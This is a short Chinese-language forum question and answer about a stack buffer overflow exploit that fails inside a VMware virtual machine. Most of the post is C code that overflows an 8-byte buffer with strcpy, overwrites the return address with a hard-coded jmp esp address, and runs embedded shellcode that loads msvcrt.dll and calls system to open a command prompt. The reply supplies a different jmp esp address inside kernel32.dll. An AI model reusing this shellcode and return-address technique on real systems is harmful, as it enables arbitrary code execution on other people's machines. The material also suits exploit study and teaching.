读书人

wmware虚拟机中jmp esp地址不一样解决

发布时间: 2012-10-10 13:58:11 作者: rapoo

wmware虚拟机中jmp esp地址不一样
看以下代码:

C/C++ code
#include <stdio.h>#include <string.h>char name[] = "\x41\x41\x41\x41"  "\x41\x41\x41\x41"  "\x41\x41\x41\x41"  "\x12\x45\xfa\x7f"    //7ffa4512 也即是jmp esp地址                "\x55\x8B\xEC\x33\xC0\x50\x50\x50"//以下是启动命令提示符的shellcode"\xC6\x45\xF4\x4D""\xC6\x45\xF5\x53"    "\xC6\x45\xF6\x56"    "\xC6\x45\xF7\x43""\xC6\x45\xF8\x52""\xC6\x45\xF9\x54""\xC6\x45\xFA\x2E""\xC6\x45\xFB\x44""\xC6\x45\xFC\x4C""\xC6\x45\xFD\x4C""\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D""\x89\x45\xF4\xB8\x61\x6E\x64\x2E"    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22""\x89\x45\xFC\x33\xD2\x88\x55\xFF""\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";int main(){    char output[8];            strcpy(output, name);    for(int i=0;i<8&&output[i];i++)         printf("\\0x%x",output[i]);    return 0;}


在物理机中运行可以,成功启动了cmd,
可在虚拟机中就不行了,连通用地址7ffa4512都不行,是不是装在虚拟机里的系统内存结构不同?
我想在虚拟机里调试我的程序,这个问题怎么解决.

[解决办法]
额,好吧,那个地址是错的,还是kernel32.dll地址比较靠谱。 -- at 7c874413

读书人网 >C++

热点推荐